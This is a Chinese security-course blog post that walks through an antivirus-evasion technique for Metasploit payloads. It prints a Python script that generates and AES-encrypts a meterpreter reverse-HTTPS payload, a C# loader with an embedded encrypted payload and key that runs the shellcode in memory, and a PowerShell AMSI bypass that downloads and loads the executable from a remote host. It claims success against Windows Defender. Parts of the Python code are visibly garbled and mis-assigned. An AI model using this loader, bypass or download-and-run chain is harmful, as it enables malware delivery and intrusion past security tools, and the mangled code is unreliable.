安全学习方法之上手测试以《Bypass Shellcode

编程入门行业动态更新时间:2024-10-18 12:30:34

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安全学习方法之上手测试以《Bypass Shellcode

文章来源｜MS08067 Web漏洞挖掘班第3期

本文作者：Cream（web漏洞挖掘班讲师）

很多人在学习的过程有这样的习惯，将看到的文章收藏起来或者朋友圈转发。

收藏即学习？转发即学会？

当然还是有很多小伙伴会仔细阅读并加以实操研究。学习安全最为重要的就是动手操作，APP漏洞挖掘不上手测试永远学不会，代码不上手敲你永远不知道自己的水平（很菜的那种！），免杀不在实际环境中测试就不清楚它到底能否免杀等等。

总之，实践是检验真理的唯一标准。

每个人都有自己的学习方法，每看到一篇技术文章和大咖体验陈述，我们最好的学习心态是知其然还要知其所以然。这些文章水平有高低之别，对自己是否有帮助因人而异，学习的过程和结果才是最重要的吧。

下面就简单描述自己在学习一篇文章的时所测试基本步骤和思考。（水平有限，见谅）

12月28日Khan安全实验室出了一篇文章《Bypass Shellcode - Encryptor》，最近一直复现和研究各种免杀技术，随即拿过来研究。如有侵权，请告知，感谢。

文中大致思路是利用meterpreter_encryptor.py生成密钥和shellcode，并将插入C#代码中，编译后就可以得到免杀马。

原文链接：

其中meterpreter_encryptor.py代码如下：

#!/usr/bin/env python3
import array, base64, random, string
from Crypto.Cipher import AES
from hashlib import sha256
import argparse, subprocess,
os
def main():args = parse_args()lhost = args.lport lhost= args.key lport= args.keyif not key:key = get_random_string(32)payload = args.method payload= args.methodformat = args.format''' generate msfvenom payload '''print("[+] Generating MSFVENOM payload...")result = subprocess.run(['msfvenom','-p', payload,'LPORT=' + lport,'LHOST=' + lhost,
#    '-b', '\\x00','-f', 'raw','-o', './msf.bin'],capture_output=False)f
= open("./msf.bin", "rb")buf = f.read()f.close()print("[+] key and payload will be written to key.b64 and payload.b64")''' encrypt the payload '''print("[+] Encrypting the payload, key=" + key + "...")hkey = hash_key(key)encrypted = encrypt(hkey, hkey[:16], buf)b64 = base64.b64encode(encrypted)f
= open("./key.b64", "w")f.write(key)f.close()f
= open("./payload.b64", "w")f.write(b64.decode('utf-8'))f.close()if format == "b64":''' base64 output '''print("[+] Base64 output:")print(b64.decode('utf-8'))print("\n[+] Have a nice day!")returnif format == "c":''' c output '''print("[+] C output:")hex_string = 'unsigned char payload[] ={0x';hex = '0x'.join('{:02x},'.format(x) for x in encrypted)hex_string = hex_string + hex[:-1] + "};"print(hex_string)print("\n[+] Have a nice day!")returndef encrypt(key,iv,plaintext):key_length = len(key)if (key_length >= 32):k = key[:32]elif (key_length >= 24):k = key[:24]else:k = key[:16]aes
= AES.new(k, AES.MODE_CBC, iv)pad_text = pad(plaintext, 16)return aes.encrypt(pad_text)def hash_key(key):h = ''for c in key:h += hex(ord(c)).replace("0x", "")h = bytes.fromhex(h)hashed = sha256(h).digest()return
hashed
def pad(data, block_size):padding_size = (block_size - len(data)) %block_sizeif padding_size == 0:padding_size =padding  block_size= (bytes([padding_size]) * padding_size)return data +
padding
def parse_args():parser = argparse.ArgumentParser()parser
.add_argument("-l", "--lport", default="0.0.0.0", type=str,help="The local port that msfconsole is listening on.")parser.add_argument("-i", "--lhost", default="443", type=str,help="The local host that msfconsole is listening on.")parser.add_argument("-p", "--payload", default = "windows/x64/meterpreter/reverse_https", type=str,help="The payload to generate in msfvenom.")parser.add_argument("-m", "--method", default="thread", type=str,help="The method to use: thread/delegate.")parser.add_argument("-k", "--key", default="", type=str,help="The encryption key (32 chars).")parser.add_argument("-f", "--format", default="b64", type=str,help="The format to output.")return parser.parse_args()def get_random_string(length):letters = string.ascii_letters + string.result_str digits= ''.join(random.choice(letters) for i in range(length))return
result_str
if __name__ == '__main__':main()

使用方法：

meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-f FORMAT]

-h帮助信息；

-i 会话反弹到哪个地方，攻击机的IP；

-l会话反弹到哪个端口，攻击者的port，不要冲突；

-p 使用的MSF的payload；

-m 执行shellcode后的操作，有thread/delegate；

-k 32 chars的key，可以不用设置，可以随机生成；

-e 编码方式，参考msfvenom的方法；

-f生成的payload类型。

python3 meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.11.2 -l 443 -f b64

复制如上生成的key和base64结果放在如下的C#代码中编译生成EXE文件：

using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO;
namespace
ProcessInjection
{class Program{public enum Protection{PAGE_NOACCESS = 0x01,PAGE_READONLY = 0x02,PAGE_READWRITE = 0x04,PAGE_WRITECOPY = 0x08,PAGE_EXECUTE = 0x10,PAGE_EXECUTE_READ = 0x20,PAGE_EXECUTE_READWRITE = 0x40,PAGE_EXECUTE_WRITECOPY = 0x80,PAGE_GUARD = 0x100,PAGE_NOCACHE = 0x200,PAGE_WRITECOMBINE = 0x400}[DllImport("kernel32.dll")]static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);private delegate Int32 ShellcodeDelegate();static void Main(string[] args){Shellcode();}static void Shellcode(){// attempt heuristics/behaviour bypassIntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);if (mem == null){return;}// decrypt the base64 payload - change these to your own encrypted payload and keystring payload = "6LII6OYoVux8aZ+bY/9SiwDKLvHDFMSQYnr21YRAEe5m6rEjKxqnqHrjpp7X6XZBbrQcwqLnK7K4lXE1xv7PkLP0zPbQujfUxRDlMOKmvoH4DJySgcbBTwGvIey/4EIV4UZY6NCRSu1BVl9ztwAiSltAdoXt68JPFvm4W/V58crjsD8L2InuEmTf7QaGx43CbfBQPsG11KI0ExWpBQ9bdFaTQR1A8CPbLJ+Lx1gjJyDEKoOORrdP+iKdVRgox8kWqUlvEKOg90XienikjaZpeq4npmtg5Cwe0CMBkX688PFxFYtW32up38oFQAUIJ02mhKSHJMqUKbmZ/CHdoh5Vaheuq0XONzmYJ6H4tklqyeET8AszkrwxDebyPDpqnTjuCM4Gamynk0HAn5N2rH4S1KvrTKSTr7kTOa0okDPaYr9cIHtFbYmWW9wgDixkfkiJxD/Kx98F/urzgmnoxxSHKwVPUGQNqJ1vzB04gE0mPLJy1TyaNzgLxvIJRKLHDmpExH2Hd0ieCA8kp2Qwf6yVrM2aeFxChoDEVsHAB97E63O2eM1i+uFmSsR4Ti5P69WfvRinUb6VRLELQLdyg3BKlipcJiabchviL53J9Adqea3P4pAjtjbEELd1mMIA++dxhihcNDZ6zPPswv+M10DyWExWTc1NxJzUFogNYrhj/BumwMR95LA5m4wl8JvVUCGc0OCLPaMUHhdenCJwwFtBrW87lePC9BzFgxJ8gS5eSUF1CMp3hjBdSIE4fp/TQShNrxwrQWXt4gZKcqTkAnt3pdfFE7qkoF8YWormRMxCdVaofwtjow3hJB8+iW01puVl/5GIspKz0ligMoZUnxCRvY/kiqng3z21iO6LrFO2em5ts7/Oh6H4wUaAHFw+/L7/EEN+fR7stKR+kPHsholU5SU/ofCxyGWIvWno647MyNXxRZvbOdIxTLz2c0mJzV+sAiVXDK+B3GbNw6vjQFNHtI2LwW2Fm/uaUyt8qm1zQIJjZi210RTIr9l31nlcwrtH36YhnW/oQcBLBANbmT+MwYMEaU+gCr2Gi+vMmTE828GWwYbJ5rBR4gGT7eP1WP6i";
//这里是生成的payloadstring key = "vzj2WM9NY3oQ4U1KOJF7o15rXdj3YxNn";
//这里是生成的keybyte[] buf = Decrypt(key, payload);unsafe
{fixed (byte* ptr = buf){// set the memory as executable and execute the function pointer (as a delegate)IntPtr memoryAddress = (IntPtr)ptr;VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));func();}}}private static byte[] Decrypt(string key, string aes_base64){byte[] tempKey = Encoding.ASCII.GetBytes(key);tempKey = SHA256.Create().ComputeHash(tempKey);byte
[] data = Convert.FromBase64String(aes_base64);// decrypt dataAes aes = new AesManaged();aes.Mode = CipherMode.CBC;aes.Padding = PaddingMode.PKCS7;ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));using (MemoryStream msDecrypt = new MemoryStream()){using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write)){csDecrypt
.Write(data, 0, data.Length);return msDecrypt.ToArray();}}}static byte[] SubArray(byte[] a, int length){byte[] b = new byte[length];for (int i = 0; i < length; i++){b[i] = a[i];}return b;}}
}

注意：unsafe代码会报错，需要在VS中设置“允许unsafe”代码。

编译成功后就可以生成demo.exe

该demo.exe便是免杀的。可尝试线上测试，效果如下：

将该demo.exe注入到远程powershell进程：

# AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "http://192.168.11.2/demo.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));

在开启防护的Windows10中执行。

最后能成功上线：

另外：系统中Denfender是实时开启状态。

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